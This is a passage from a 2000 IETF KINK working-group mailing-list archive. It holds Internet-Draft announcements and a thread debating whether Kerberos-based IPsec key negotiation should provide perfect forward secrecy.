aWxpbmcgTGlzdHM6CgogIEdlbmVyYWwgRGlzY3Vzc2lvbjogaWV0Zi1raW5rQHZwbmMub3Jn CiAgVG8gU3Vic2NyaWJlOiBtYWpvcmRvbW9AdnBuYy5vcmcKICBJbiBCb2R5OiBpbiBib2R5 OiBzdWJzY3JpYmUgaWV0Zi1raW5rCiAgQXJjaGl2ZTogZnRwOi8vCgpBY2tub3dsZWRnbWVu dHMKCiAgIFRoZSBvcmlnaW5hbCBLSU5LIEthYmFsIHdhczoKCiAgIE1pY2hhZWwgVGhvbWFz IChDaXNjbykKICAgRGF2aWQgTWNHcmV3IChDaXNjbykKICAgSmFuIFZpbGh1YmVyIChDaXNj bykKICAgSm9uYXRoYW4gVHJvc3RsZSAoQ2lzY28pCiAgIE1hdHQgSHVyIChDeWJlcnNhZmUp CiAgIE1pa2UgRnJvaCAoQ3liZXJzYWZlKQogICBTYXNoYSBNZWR2aW5za3kgKEdJKQogICBE ZXJlayBBdGtpbnMgKFRlbGNvcmRpYSkKCgoKVGhvbWFzICAgICAgICAgICAgICAgICBkcmFm dC10aG9tYXMta2luay1yZXFtdC0wMCAgICAgICAgICAgICAgIFtQYWdlIDVdCgoKCgoKSU5U RVJORVQtRFJBRlQgIEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVnb3RpYXRpb24gb2YgS2V5cyAg ICA5IEF1Z3VzdCAyMDAwCgoKICAgSXQgbXVzdCBhbHNvIGJlIGFja25vd2xlZGdlZCB0aGF0 IHRoZSBQYWNrZXRjYWJsZSBTZWN1cml0eQogICBzcGVjaWZpY2F0aW9uIFBLVC1TUC1TRUMt STAxLTk5MTIwMSBwcm92aWRlZCB0aGUgcmF3IGZvZGRlcgogICBmb3IgdGhpcyBlZmZvcnQg aW4gaXRzIEtlcmJlcml6ZWQgSVBzZWMgc2VjdGlvbiwgYW5kIGFsbCBvZgogICB0aGUgZm9j dXMgdGVhbSBtZW1iZXJzIHdobyBwbGF5ZWQgYSBwYXJ0IGluIHRoZSBzcGVjLiBXZSBtdXN0 CiAgIGFsc28gYWNrbm93bGVkZ2UgTmFuY3kgRGF2b3VzdCBvZiBDYWJsZWxhYnMgZm9yIGtl ZXBpbmcgb3JkZXIKICAgaW4gb3VyIG5vcm1hbGx5IGRpc29yZGVybHkgcHJvY2VlZGluZ3Mu CgpSZWZlcmVuY2VzCgpbMV0gIFRoZSBDQVQgV29ya2luZyBHcm91cCwgSi4gS29obCwgQy5O ZXVtYW4sICJUaGUgS2VyYmVyb3MgTmV0d29yawogICAgIEF1dGhlbnRpY2F0aW9uIFNlcnZp Y2UgKFY1KSIsIFJGQyAxNTEwLCBTZXB0ZW1iZXIgMTk5MwoKWzJdICBUaGUgSVBzZWMgV29y a2luZyBHcm91cCwgUy4gS2VudCwgUi4gQXRraW5zb24sICJTZWN1cml0eSBBcmNoaXRlYy0K ICAgICB0dXJlIGZvciB0aGUgSW50ZXJuZXQgUHJvdG9jb2wiLCBSRkMgMjQwMSwgTm92ZW1i ZXIgMTk5OAoKWzNdICBUaGUgSVBzZWMgV29ya2luZyBHcm91cCwgRC4gSGFya2lucywgRC4g Q2FycmVsLCAiVGhlIEludGVybmV0IEtleQogICAgIEV4Y2hhbmdlIiwgUkZDIDI0MDksIE5v dmVtYmVyIDE5OTgKCkF1dGhvcidzIEFkZHJlc3MKCiAgICAgICAgICBNaWNoYWVsIFRob21h cwogICAgICAgICAgQ2lzY28gU3lzdGVtcwogICAgICAgICAgMzc1IEUgVGFzbWFuIFJkCiAg ICAgICAgICBTYW4gSm9zZSwgQ2EsIDk1MTM0LCBVU0EKICAgICAgICAgIFRlbDogKzEgNDA4 LTUyNS01Mzg2CiAgICAgICAgICBFLU1BSUw6IG1hdEBjaXNjby5jb20KCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKClRob21hcyAgICAgICAgICAgICAgICAgZHJhZnQtdGhvbWFzLWtpbmst cmVxbXQtMDAgICAgICAgICAgICAgICBbUGFnZSA2XQoKCg== --bS/BD/5559-- From owner-ietf-kink Tue Sep 19 05:09:19 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id FAA20124 for ietf-kink-bks; Tue, 19 Sep 2000 05:09:19 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.MIT.EDU [18.101.1.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA20120 for ; Tue, 19 Sep 2000 05:09:17 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id IAA28252; Tue, 19 Sep 2000 08:11:50 -0400 To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: latest requirements draft References: <14790.44293.570062.666313@thomasm-u1.cisco.com> From: Derek Atkins Date: 19 Sep 2000 08:11:48 -0400 In-Reply-To: Michael Thomas's message of "Mon, 18 Sep 2000 17:02:13 -0700 (PDT)" Message-ID: Lines: 15 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Yes, this should be renamed to draft-ietf-kink-requirements (or -reqmt) -derek Michael Thomas writes: > Derek -- should this be changed to > draft-kink-kink-reqmt since the WG has officially > been formed? -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Fri Oct 6 16:27:25 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id QAA17762 for ietf-kink-bks; Fri, 6 Oct 2000 16:27:25 -0700 (PDT) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA17757 for ; Fri, 6 Oct 2000 16:27:23 -0700 (PDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: Date: Fri, 6 Oct 2000 16:31:41 -0700 To: ietf-kink@vpnc.org From: Paul Hoffman / VPNC Subject: I-D ACTION:draft-ietf-kink-reqmt-00.txt Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > >From owner-ietf-kink Fri Oct 6 03:27:03 2000 >Received: from ietf.org (odin.ietf.org [132.151.1.176]) > by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA29529 > for ; Fri, 6 Oct 2000 03:27:03 -0700 (PDT) >Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) > by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA27491; > Fri, 6 Oct 2000 06:31:06 -0400 (EDT) >Message-Id: <200010061031.GAA27491@ietf.org> >Mime-Version: 1.0 >Content-Type: Multipart/Mixed; Boundary="NextPart" >To: IETF-Announce: ; >Cc: ietf-kink@vpnc.org >From: Internet-Drafts@ietf.org >Reply-to: Internet-Drafts@ietf.org >Subject: I-D ACTION:draft-ietf-kink-reqmt-00.txt >Date: Fri, 06 Oct 2000 06:31:06 -0400 >Sender: nsyracus@cnri.reston.va.us > >--NextPart > >A New Internet-Draft is available from the on-line Internet-Drafts >directories. >This draft is a work item of the Kerberized Internet Negotiation of >Keys Working Group of the IETF. > > Title : Kerberized Internet Negotiation of Keys > Author(s) : M. Thomas > Filename : draft-ietf-kink-reqmt-00.txt > Pages : 6 > Date : 05-Oct-00 > >The KINK working group is chartered to create a standards track >protocol to facilitate centralized key management for IPsec security >associations as defined in RFC 2401, as an alternative to IKE (RFC >2409). Participating systems will use the Kerberos architecture as >defined in RFC 1510 (and its successors) for key management. The goal >of the working group is to produce a streamlined, fast, easily >managed, and cryptographically sound protocol without requiring >public key. >The working group will not require changes to either IPsec (RFC >2401), or Kerberos (RFC 1510). > >A URL for this Internet-Draft is: >http://www.ietf.org/internet-drafts/draft-ietf-kink-reqmt-00.txt > >Internet-Drafts are also available by anonymous FTP. Login with the username >"anonymous" and a password of your e-mail address. After logging in, >type "cd internet-drafts" and then > "get draft-ietf-kink-reqmt-00.txt". > >A list of Internet-Drafts directories can be found in >http://www.ietf.org/shadow.html >or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > >Internet-Drafts can also be obtained by e-mail. > >Send a message to: > mailserv@ietf.org. >In the body type: > "FILE /internet-drafts/draft-ietf-kink-reqmt-00.txt". > >NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > >Below is the data which will enable a MIME compliant mail reader >implementation to automatically retrieve the ASCII version of the >Internet-Draft. > >--NextPart >Content-Type: Multipart/Alternative; Boundary="OtherAccess" > >--OtherAccess >Content-Type: Message/External-body; > access-type="mail-server"; > server="mailserv@ietf.org" > >Content-Type: text/plain >Content-ID: <20001005145931.I-D@ietf.org> > >ENCODING mime >FILE /internet-drafts/draft-ietf-kink-reqmt-00.txt > >--OtherAccess >Content-Type: Message/External-body; > name="draft-ietf-kink-reqmt-00.txt"; > site="ftp.ietf.org"; > access-type="anon-ftp"; > directory="internet-drafts" > >Content-Type: text/plain >Content-ID: <20001005145931.I-D@ietf.org> > >--OtherAccess-- > >--NextPart-- From owner-ietf-kink Fri Oct 6 16:27:26 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id QAA17766 for ietf-kink-bks; Fri, 6 Oct 2000 16:27:26 -0700 (PDT) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA17761 for ; Fri, 6 Oct 2000 16:27:25 -0700 (PDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: Date: Fri, 6 Oct 2000 16:31:35 -0700 To: ietf-kink@vpnc.org From: Paul Hoffman / VPNC Subject: I-D ACTION:draft-ietf-kink-kink-00.txt Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >Date: Fri, 6 Oct 2000 03:27:06 -0700 (PDT) >From: owner-ietf-kink@mail.vpnc.org >To: owner-ietf-kink@mail.vpnc.org >Subject: BOUNCE ietf-kink@mail.vpnc.org: Non-member submission >from [Internet-Drafts@ietf.org] > > >From owner-ietf-kink Fri Oct 6 03:27:05 2000 >Received: from ietf.org (odin.ietf.org [132.151.1.176]) > by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA29534 > for ; Fri, 6 Oct 2000 03:27:04 -0700 (PDT) >Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) > by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA27516; > Fri, 6 Oct 2000 06:31:11 -0400 (EDT) >Message-Id: <200010061031.GAA27516@ietf.org> >Mime-Version: 1.0 >Content-Type: Multipart/Mixed; Boundary="NextPart" >To: IETF-Announce: ; >Cc: ietf-kink@vpnc.org >From: Internet-Drafts@ietf.org >Reply-to: Internet-Drafts@ietf.org >Subject: I-D ACTION:draft-ietf-kink-kink-00.txt >Date: Fri, 06 Oct 2000 06:31:11 -0400 >Sender: nsyracus@cnri.reston.va.us > >--NextPart > >A New Internet-Draft is available from the on-line Internet-Drafts >directories. >This draft is a work item of the Kerberized Internet Negotiation of >Keys Working Group of the IETF. > > Title : Kerberized Internet Negotiation of Keys (KINK) > Author(s) : M. Froh, M. Hur, D. McGrew, S. Medvinsky, > M. Thomas, J. Vilhuber > Filename : draft-ietf-kink-kink-00.txt > Pages : 30 > Date : 05-Oct-00 > >The KINK Working Group will create a standards track protocol to >facilitate centralized key exchange in an application independent >fashion. Participating systems will use the Kerberos architecture as >defined in RFC 1510 for key management and the KINK protocol between >applications. The goal of KINK is to produce a low-latency, >computationally inexpensive, easily managed, and cryptographically >sound protocol that is flexible enough to be able to be extended for >many applications. > >A URL for this Internet-Draft is: >http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-00.txt > >Internet-Drafts are also available by anonymous FTP. Login with the username >"anonymous" and a password of your e-mail address. After logging in, >type "cd internet-drafts" and then > "get draft-ietf-kink-kink-00.txt". > >A list of Internet-Drafts directories can be found in >http://www.ietf.org/shadow.html >or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > >Internet-Drafts can also be obtained by e-mail. > >Send a message to: > mailserv@ietf.org. >In the body type: > "FILE /internet-drafts/draft-ietf-kink-kink-00.txt". > >NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > >Below is the data which will enable a MIME compliant mail reader >implementation to automatically retrieve the ASCII version of the >Internet-Draft. > >--NextPart >Content-Type: Multipart/Alternative; Boundary="OtherAccess" > >--OtherAccess >Content-Type: Message/External-body; > access-type="mail-server"; > server="mailserv@ietf.org" > >Content-Type: text/plain >Content-ID: <20001005145941.I-D@ietf.org> > >ENCODING mime >FILE /internet-drafts/draft-ietf-kink-kink-00.txt > >--OtherAccess >Content-Type: Message/External-body; > name="draft-ietf-kink-kink-00.txt"; > site="ftp.ietf.org"; > access-type="anon-ftp"; > directory="internet-drafts" > >Content-Type: text/plain >Content-ID: <20001005145941.I-D@ietf.org> > >--OtherAccess-- > >--NextPart-- From owner-ietf-kink Fri Oct 13 07:12:44 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA20061 for ietf-kink-bks; Fri, 13 Oct 2000 07:12:44 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA20055 for ; Fri, 13 Oct 2000 07:12:42 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA22430; Fri, 13 Oct 2000 10:17:19 -0400 To: ietf-kink@vpnc.org Subject: Discussion of current drafts? Agenda Topics? From: Derek Atkins Date: 13 Oct 2000 10:17:14 -0400 Message-ID: Lines: 29 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Greetings, 0) As you all know, we've been sanctioned into a real working group. So, we exist now. 1) Mike Thomas has submitted two drafts, the KINK requirements draft and a draft KINK protocol. According to our original schedule, we were supposed to have already finalized the KINK requirements by now. I haven't seen any discussion, yet, on the drafts. If I don't see any discussion soon, then I'll assume there are no issues with the requirements draft and request a last call on it. The documents in question are: draft-ietf-kink-reqmt-00.txt draft-ietf-kink-kink-00.txt 2) It's also time to come up with an Agenda and request a WG timeslot in San Diego. If you'd like to request a slot to talk at the meeting, please send me mail with the topic and estimated time you'll need. Thanks, -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Fri Oct 13 07:58:54 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA21475 for ietf-kink-bks; Fri, 13 Oct 2000 07:58:54 -0700 (PDT) Received: from fnord.ir.bbn.com (FNORD.IR.BBN.COM [192.1.100.210]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA21470 for ; Fri, 13 Oct 2000 07:58:52 -0700 (PDT) Message-Id: <200010131458.HAA21470@ns.secondary.com> Received: (qmail 73137 invoked from network); 13 Oct 2000 15:03:35 -0000 Received: from localhost.bbn.com (HELO fnord.ir.bbn.com) (127.0.0.1) by localhost.bbn.com with SMTP; 13 Oct 2000 15:03:35 -0000 From: Greg Troxel To: ietf-kink@vpnc.org Subject: lack of PFS considered harmful In-Reply-To: Message from Derek Atkins of "13 Oct 2000 10:17:14 EDT." Date: Fri, 13 Oct 2000 11:03:35 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Regarding: draft-ietf-kink-reqmt-00.txt draft-ietf-kink-kink-00.txt I am concerned about the lack of consideration for PFS. At a minimum this needs to be in the (currently blank) security considerations section. It should be noted that KINK is a complement to and not a replacement for the Internet Key Exchange [IKE], as KINK requires the use of an online authentication server and cannot provide identity protection nor perfect forward secrecy (as described in [RFC2412]). There are many situations in which centralized key management is desirable. This text can be read to imply that KINK cannot provide identity provide or PFS because it uses of an online authentication server. I'm guessing that this isn't what was intended, but a clarification would be helpful. I believe that the use of centralized key management (vs. certificates) is orthogonal to PFS. It appears on quick reading of the draft that someone who compromises a principal's key years hence will still be able to recover all plaintext, since the IPsec session key is encrypted in the krb session key. I'll make my opinion explicit that all interactive login sessions need PFS protection, and that given how cheap PFS implementation is on today's machines, it isn't reasonable to omit it. Since it seems to be the goal to set up a campus to use KINK instead of IKE, it would be nice for KINK to be able to meet this requirement. One solution of course is to perform double-ephemeral DH, and authenticate that with Kerberos. This gets somewhat closer to IKE with Kerberos authentication. Is it the goal of KINK to have a protocol that does not use public key operations, or one that does not require them in all cases, or that does not require them in any case? It may also be that adding a PFS option to Kerberos (independently of kink) is desirable. Greg From owner-ietf-kink Fri Oct 13 08:16:40 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id IAA22502 for ietf-kink-bks; Fri, 13 Oct 2000 08:16:40 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA22495 for ; Fri, 13 Oct 2000 08:16:39 -0700 (PDT) Received: from mira-sjcm-1.cisco.com (mira-sjcm-1.cisco.com [171.69.2.212]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA13959; Fri, 13 Oct 2000 08:20:58 -0700 (PDT) Received: from cisco.com (dhcp-171-71-147-122.cisco.com [171.71.147.122]) by mira-sjcm-1.cisco.com (Mirapoint) with ESMTP id APX04544 (AUTH mcgrew); Fri, 13 Oct 2000 08:20:51 -0700 (PDT) Message-ID: <39E7295B.AFE9566F@cisco.com> Date: Fri, 13 Oct 2000 08:25:15 -0700 From: "David A. McGrew" X-Mailer: Mozilla 4.5 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Greg Troxel CC: ietf-kink@vpnc.org Subject: Re: lack of PFS considered harmful References: <200010131458.HAA21470@ns.secondary.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Greg, Greg Troxel wrote: > > Regarding: > > draft-ietf-kink-reqmt-00.txt > draft-ietf-kink-kink-00.txt > > I am concerned about the lack of consideration for PFS. > At a minimum this needs to be in the (currently blank) security > considerations section. > > It should be noted > that KINK is a complement to and not a replacement for the Internet > Key Exchange [IKE], as KINK requires the use of an online > authentication server and cannot provide identity protection nor > perfect forward secrecy (as described in [RFC2412]). There are many > situations in which centralized key management is desirable. > > This text can be read to imply that KINK cannot provide identity > provide or PFS because it uses of an online authentication server. > I'm guessing that this isn't what was intended, but a clarification > would be helpful. no, you read it right. > > I believe that the use of centralized key management > (vs. certificates) is orthogonal to PFS. It appears on quick reading > of the draft that someone who compromises a principal's key years > hence will still be able to recover all plaintext, since the IPsec > session key is encrypted in the krb session key. > > I'll make my opinion explicit that all interactive login sessions need > PFS protection, and that given how cheap PFS implementation is on > today's machines, it isn't reasonable to omit it. Since it seems to > be the goal to set up a campus to use KINK instead of IKE, it would be > nice for KINK to be able to meet this requirement. We explicitly made PFS a non-goal. On machines such as wireless handsets and other embedded systems, PFS isn't cheap. Also, PFS can be a bottleneck for aggregation servers as well. So while desktop machines typically have no problem with PFS, there are still lots of devices that do. > > One solution of course is to perform double-ephemeral DH, and > authenticate that with Kerberos. This gets somewhat closer to IKE > with Kerberos authentication. And this is exactly what GSSAPI IKE does. >s it the goal of KINK to have a > protocol that does not use public key operations, or one that does not > require them in all cases, or that does not require them in any case? > Yes, that's right. From a standards perspective, it may be good that we don't do all of those things, since IKE already does them. > It may also be that adding a PFS option to Kerberos (independently of > kink) is desirable. I agree completely. Thanks for your comments, David > > Greg From owner-ietf-kink Fri Oct 13 09:15:15 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id JAA27379 for ietf-kink-bks; Fri, 13 Oct 2000 09:15:15 -0700 (PDT) Received: from jindo.cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA27373 for ; Fri, 13 Oct 2000 09:15:14 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by jindo.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id JAA19802; Fri, 13 Oct 2000 09:19:28 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA10168; Fri, 13 Oct 2000 09:19:28 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14823.13840.220998.540752@thomasm-u1.cisco.com> Date: Fri, 13 Oct 2000 09:19:28 -0700 (PDT) To: Greg Troxel Cc: ietf-kink@vpnc.org Subject: lack of PFS considered harmful In-Reply-To: <200010131458.HAA21470@ns.secondary.com> References: <200010131458.HAA21470@ns.secondary.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Greg Troxel writes: > Regarding: > > draft-ietf-kink-reqmt-00.txt > draft-ietf-kink-kink-00.txt > > I am concerned about the lack of consideration for PFS. > At a minimum this needs to be in the (currently blank) security > considerations section. Greg, I agree with David's comments and have nothing to add. The security considerations section was left blank mainly because we wanted to get the draft out as soon as possible. Also: we expected to get feedback which we could incorporate into the section. What I would propose to add to the security considerations on this topic is: "KINK uses Kerberos cryptographic mechanisms for key exchange and as such is limited to what Kerberos provides. These limitations include PFS [, ...]. It is not a goal of KINK to address Kerberos issues as they would be better addressed by Kerberos itself." Mike > > It should be noted > that KINK is a complement to and not a replacement for the Internet > Key Exchange [IKE], as KINK requires the use of an online > authentication server and cannot provide identity protection nor > perfect forward secrecy (as described in [RFC2412]). There are many > situations in which centralized key management is desirable. > > This text can be read to imply that KINK cannot provide identity > provide or PFS because it uses of an online authentication server. > I'm guessing that this isn't what was intended, but a clarification > would be helpful. > > I believe that the use of centralized key management > (vs. certificates) is orthogonal to PFS. It appears on quick reading > of the draft that someone who compromises a principal's key years > hence will still be able to recover all plaintext, since the IPsec > session key is encrypted in the krb session key. > > I'll make my opinion explicit that all interactive login sessions need > PFS protection, and that given how cheap PFS implementation is on > today's machines, it isn't reasonable to omit it. Since it seems to > be the goal to set up a campus to use KINK instead of IKE, it would be > nice for KINK to be able to meet this requirement. > > One solution of course is to perform double-ephemeral DH, and > authenticate that with Kerberos. This gets somewhat closer to IKE > with Kerberos authentication. Is it the goal of KINK to have a > protocol that does not use public key operations, or one that does not > require them in all cases, or that does not require them in any case? > > It may also be that adding a PFS option to Kerberos (independently of > kink) is desirable. > > Greg > From owner-ietf-kink Fri Oct 13 16:54:30 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA09339 for ietf-kink-bks; Fri, 13 Oct 2000 16:54:30 -0700 (PDT) Received: from zipper.cisco.com (zipper.cisco.com [171.69.25.142]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA09335 for ; Fri, 13 Oct 2000 16:54:28 -0700 (PDT) Received: from dhcp-71-147-154.cisco.com (vilhuber@dhcp-71-147-154.cisco.com [171.71.147.154]) by zipper.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id QAA05241; Fri, 13 Oct 2000 16:58:15 -0700 (PDT) Date: Fri, 13 Oct 2000 16:58:51 -0700 (PDT) From: Jan Vilhuber X-Sender: vilhuber@localhost To: Michael Thomas cc: Greg Troxel , ietf-kink@vpnc.org Subject: Re: lack of PFS considered harmful In-Reply-To: <14823.13840.220998.540752@thomasm-u1.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: That paragraph sounds great to me. I second the motion ;) jan On Fri, 13 Oct 2000, Michael Thomas wrote: > Greg Troxel writes: > > Regarding: > > > > draft-ietf-kink-reqmt-00.txt > > draft-ietf-kink-kink-00.txt > > > > I am concerned about the lack of consideration for PFS. > > At a minimum this needs to be in the (currently blank) security > > considerations section. > > Greg, > > I agree with David's comments and have nothing to > add. The security considerations section was left > blank mainly because we wanted to get the draft > out as soon as possible. Also: we expected to get > feedback which we could incorporate into the > section. > > What I would propose to add to the security > considerations on this topic is: "KINK uses > Kerberos cryptographic mechanisms for key exchange > and as such is limited to what Kerberos provides. > These limitations include PFS [, ...]. It is not > a goal of KINK to address Kerberos issues as they > would be better addressed by Kerberos itself." > > Mike > > > > > > It should be noted > > that KINK is a complement to and not a replacement for the Internet > > Key Exchange [IKE], as KINK requires the use of an online > > authentication server and cannot provide identity protection nor > > perfect forward secrecy (as described in [RFC2412]). There are many > > situations in which centralized key management is desirable. > > > > This text can be read to imply that KINK cannot provide identity > > provide or PFS because it uses of an online authentication server. > > I'm guessing that this isn't what was intended, but a clarification > > would be helpful. > > > > I believe that the use of centralized key management > > (vs. certificates) is orthogonal to PFS. It appears on quick reading > > of the draft that someone who compromises a principal's key years > > hence will still be able to recover all plaintext, since the IPsec > > session key is encrypted in the krb session key. > > > > I'll make my opinion explicit that all interactive login sessions need > > PFS protection, and that given how cheap PFS implementation is on > > today's machines, it isn't reasonable to omit it. Since it seems to > > be the goal to set up a campus to use KINK instead of IKE, it would be > > nice for KINK to be able to meet this requirement. > > > > One solution of course is to perform double-ephemeral DH, and > > authenticate that with Kerberos. This gets somewhat closer to IKE > > with Kerberos authentication. Is it the goal of KINK to have a > > protocol that does not use public key operations, or one that does not > > require them in all cases, or that does not require them in any case? > > > > It may also be that adding a PFS option to Kerberos (independently of > > kink) is desirable. > > > > Greg > > > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Fri Oct 13 17:33:32 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id RAA10264 for ietf-kink-bks; Fri, 13 Oct 2000 17:33:32 -0700 (PDT) Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA10260 for ; Fri, 13 Oct 2000 17:33:31 -0700 (PDT) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.1600); Fri, 13 Oct 2000 17:36:42 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 13 Oct 2000 17:37:48 -0700 (Pacific Daylight Time) Received: from DF-BOWWOW.platinum.corp.microsoft.com ([172.30.236.100]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Fri, 13 Oct 2000 17:37:48 -0700 x-mimeole: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message Subject: RE: lack of PFS considered harmful MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C03576.F98FB468" Date: Fri, 13 Oct 2000 17:37:47 -0700 Message-ID: <5B90AD65A9E8934987DB0C8C07626574472FA8@DF-BOWWOW.platinum.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: lack of PFS considered harmful Thread-Index: AcA1cc92dnbfyPvnQLeqjpo8sK2RQgABEARg From: "Paul Leach" To: "Jan Vilhuber" , "Michael Thomas" Cc: "Greg Troxel" , X-OriginalArrivalTime: 14 Oct 2000 00:37:48.0360 (UTC) FILETIME=[FA07C480:01C03576] Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C03576.F98FB468 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I agree too, that PFS needs to be done via Kerberos itself. The good news is that I believe use of PK options of Kerberos with Diffie-Hellman certified keys gets us pretty close to PFS. (One would need to use both PKINIT for AS_REQs; and PKCROSS to exchange keys between the KDC and the server, instead of using a long term server symmetric secret key. It don't believe it is currently envisioned to use PKCROSS for KDC to server key exchange, only for cross realm KDC to KDC key exchange, but it doesn't seem all that hard to adopt PKCROSS for the task.) > -----Original Message----- > From: Jan Vilhuber [mailto:vilhuber@cisco.com] > Sent: Friday, October 13, 2000 4:59 PM > To: Michael Thomas > Cc: Greg Troxel; ietf-kink@vpnc.org > Subject: Re: lack of PFS considered harmful >=20 >=20 > That paragraph sounds great to me. I second the motion ;) >=20 > jan >=20 >=20 > On Fri, 